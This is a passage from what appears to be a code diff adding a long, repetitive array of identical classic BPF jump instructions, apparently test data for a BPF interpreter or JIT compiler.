.jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code 